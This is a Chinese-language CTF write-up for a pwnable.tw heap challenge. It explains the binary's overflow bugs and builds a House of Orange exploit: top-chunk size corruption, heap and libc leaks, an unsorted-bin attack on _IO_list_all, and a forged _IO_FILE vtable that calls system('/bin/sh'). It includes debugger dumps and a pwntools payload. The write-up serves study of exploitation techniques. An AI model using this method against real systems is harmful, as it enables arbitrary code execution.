介绍
pwnable.tw 上的一道题,做这道题主要是为了学习一下House of orange。
其实重点还是后面的,_IO_FILE。(o^^o)
分析程序
程序逻辑十分简单,首先在bss段读入作者。然后是一个单选系统,功能有,添加,查看,编辑,显示信息。
add函数,用户输入大小,分配一段空间存储content,堆指针和size都在bss段上。
view函数,查看某一页的content。
edit函数,根据size大小重新编辑content内容,并更新size为当前长度。
info函数,打印作者姓名等信息,并可重新编辑姓名。
漏洞
漏洞有三处。
author所分配大小和输入大小相同,如果输满全部空间的话,打印是会泄露跟在author后面的内容。
遇上一个类似,在edit函数中,read的字符串可能占满所有空间,在用strlen更新size的时候,可能会讲content后面跟着的内容一起算入长度中,再次编辑即可造成越界写,可以改变下一个堆块的size。
bss段存储堆指针的空间只有64,可以存储八个,后面跟着的是size的八个。但add函数中判断的条件却是i > 8和此处指针为空,所以当我们把size[0]置为0,并且分配第九个page的时候,第九个page就会覆写size[0],被修改的size是个很大的值,再次编辑page[0]可以造成一个很长的堆溢出。
利用方式
输入姓名,长度为最大的0x40,为之后泄漏作准备
add一个块,需注意size大小,选一个正好对齐的,否则会写不满堆,然后写满堆上内容。
编辑一次,继续写满堆,此时size长度已被修改为:原本长度+下一个堆块(top chunk)的size的长度。
再次,编辑即可修改top chunk的size位。
1
2
3
4
5
6
7
8pwndbg> x/6gx 0x22db000
0x22db000: 0x0000000000000000 0x0000000000000021 << chunk 0
0x22db010: 0x3030303030303030 0x3030303030303030
0x22db020: 0x3030303030303030 0x0000000000020fe1 << top chunk
pwndbg> x/16xb 0x22db020
0x22db020: 0x30 0x30 0x30 0x30 0x30 0x30 0x30 0x30
0x22db028: 0xe1 0x0f 0x02 0x00 0x00 0x00 0x00 0x00修改top chunk的size的原因是,程序全文没有free函数,所以需要利用一个方式free一个chunk。
在malloc源码里面如果申请的堆块大小超过了top_chunk的大小,将调用sysmalloc来进行分配。sysmalloc里面针对这种情况有两种处理,一种是直接mmap出来一块内存,另一种是扩展top_chunk。
我们要利用第二种,修改top chunk的size,然后分配一个比它大的chunk,就会free掉原来的top chunk。第二种处理,需要满足三个条件。
top_chunk_size>MINSIZE(MINISIZE) 不要太小即可
top chunk 的pre_inuse为1
top地址 + size - 1 是页对齐的,例如 0x6f5020 + 4065 - 1 = 0x6f6000
1
2
3
4
5
6
7
8
9
10
11pwndbg> x/8xb 0x22db028
0x22db028: 0xe1 0x0f 0x00 0x00 0x00 0x00 0x00 0x00
0x22db020 PREV_INUSE {
prev_size = 0,
size = 4065,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}调用info函数,输出author的值,因为author与pages相连,将page[0]的堆地址也打印出来了。泄露了heao地址。
1
[*] heap addr: 0x22db000
同时,info中调用了scanf函数,而scanf会自动申请一个大小为0x1000的堆,且不会释放,所以满足了3中的分配一个比top chunk还要大的堆,此时原本的top chunk已释放。
1
2unsortedbin
all: 0x7f0be9dc0b78 (main_arena+88) —▸ 0x6f5020 ◂— 0x7f0be9dc0b78连续add八次,由于申请小堆块是从unsorted bin直接切割,所以chunk 的 bk上留有 main_arena+88的地址,我们只需将 fd 填满,在调用 view函数的时候就会泄露main_arena+88,即可算出libc地址了。
1
2
3
4
5
6
7
8[*] libc addr: 0x7f0be99fc000
0x22db020 FASTBIN {
prev_size = 0,
size = 81,
fd = 0x3131313131313131,
bk = 0x7f0be9dc1188 <main_arena+1640>,
}同时,第八次的堆地址也会覆盖size[0],所以现在编辑page[0]即可写很长,造成堆溢出。
(重新运行了,地址已改变,不影响理解)
编辑page[0],此时可以写入很长,造成堆溢出。利用Unosrted Bin Attack,修改_IO_list_all
为
main_arena+88. 做法是覆盖修改main_arena+88 -> bk 为 _IO_list_all - 0x10。此时根据以下代码,bck被我们控制为_IO_list_all - 0x10,
main_arena+88会指向_IO_list_all - 0x10,
_IO_list_all - 0x10 -> fd 也就是 _IO_list_all 会被改写为 main_arena+88.
1
2
3/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);此时_IO_list_all已经被改写,但是main_arena+88的附近是我们无法控制的,所以无法修改。
但是,我们可以利用一个机制,当_IO_FILE 不满足某些条件的时候,就会执行 fp = fp->_chain,
所以,我们只要控制了((_IO_FILE *)main_arena+0x88)->_chain,就可以控制_IO_FILE为我们指定的地址了。
而控制_chain字段,也就是_IO_FILE的第14个字段,就需要控制main_arena+184,我们这里还是利用刚才Unosrted Bin Attack,当Unosrted Bin的时候,拆卸一个块,会将这个块放入bins里面去,而所放的位置就由thunk的size决定,所以在堆溢出修改main_arena+88 -> bk 的时候,也要修改size为0x61,这样正好会将main_arena+184 也就是 ((_IO_FILE *)main_arena+0x88)->_chain改为heap上一个地址。
1
2
3
4
5
6
7
8pwndbg> x/20gx main_arena.bins
0x7f79d15c4b88 <main_arena+104>: 0x000000000150d2a0 0x00007f79d15c5510
0x7f79d15c4b98 <main_arena+120>: 0x00007f79d15c4b88 0x00007f79d15c4b88
0x7f79d15c4ba8 <main_arena+136>: 0x00007f79d15c4b98 0x00007f79d15c4b98
0x7f79d15c4bb8 <main_arena+152>: 0x00007f79d15c4ba8 0x00007f79d15c4ba8
0x7f79d15c4bc8 <main_arena+168>: 0x00007f79d15c4bb8 0x00007f79d15c4bb8
0x7f79d15c4bd8 <main_arena+184>: 0x000000000150d2a0 0x000000000150d2a0
0x7f79d15c4be8 <main_arena+200>: 0x00007f79d15c4bd8 0x00007f79d15c4bd8现在我们已经控制了 _IO_FILE 指向堆,所以现在只需,控制堆上内容,满足检查,检查内容如下:
1
2
3fp -> mode > 0
_IO_vtable_offset (fp) == 0
fp -> _wide_data -> _IO_write_ptr > fp -> _wide_data -> _IO_write_base其次,我们还需要,构造vtable的值也指向堆上,这样我们就可以一并控制vtable中的指针了,以此来控制执行流程。vtable中,控制的是__overflow 为 system函数。
构造后,结果如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61pwndbg> p *(struct _IO_FILE_plus *)_IO_list_all.file._chain
$13 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7f79d15c4bc8 <main_arena+168> "\270K\\\321y\177",
_IO_read_base = 0x7f79d15c4bc8 <main_arena+168> "\270K\\\321y\177",
>>> _IO_write_base = 0x2 <error: Cannot access memory at address 0x2>,
>>> _IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x7f79d1245390 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
>>> _vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
>>> _mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x150d2b8
}
pwndbg> p *(struct _IO_jump_t *)(*(struct _IO_FILE_plus *)_IO_list_all.file._chain).vtable
$14 = {
__dummy = 140161180257224,
__dummy2 = 2,
__finish = 0x3,
> __overflow = 0x7f79d1245390 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}在vtable 中函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址,所以我们在堆溢出的时候也要顺便将”/bin/sh”放入正确位置。
总结一下,修改top chunk的size,再调用scanf导致原本的top chunk被放入unsorted bin。
多次分配,修改size[0],造成堆溢出。
堆溢出,修改进行对应的布局(见上面描述)
再次,malloc,此时首先进行unsorted bin,此时_IO_list_all,被修改,被拆卸的chunk已放入bins里面。
malloc再次检查,发现不满足条件,调用 malloc_printerr (从这里开始,不太明白,只懂大概)
此时,发现_IO_FILE不满足虚表调用,执行 fp = fp -> _chain; 然后发现满足,进而调用vtable中的__overflow也就是被我们改写的system。
再次理解一下payload.
1
2
3
4
5
6
7
8
9
10payload = '\x00' * (0x290) # useless data
payload += '/bin/sh\x00' # _IO_FILE_plus
payload += p64(0x61) # size
payload += p64(0) # fd
payload += p64(libc.symbols['_IO_list_all'] - 0x10) # bk
payload += p64(2) # _IO_write_base
payload += p64(3) # _IO_write_ptr
payload += p64(libc.symbols['system']) # __overflow
payload += p64(0) * 20 # useless data
payload += p64(heap_addr + 0x2b8) # vtable
脚本
1 | #!/usr/bin/env python2 |
参考链接
https://bbs.pediy.com/thread-223334.htm
https://blog.csdn.net/weixin_40850881/article/details/80043934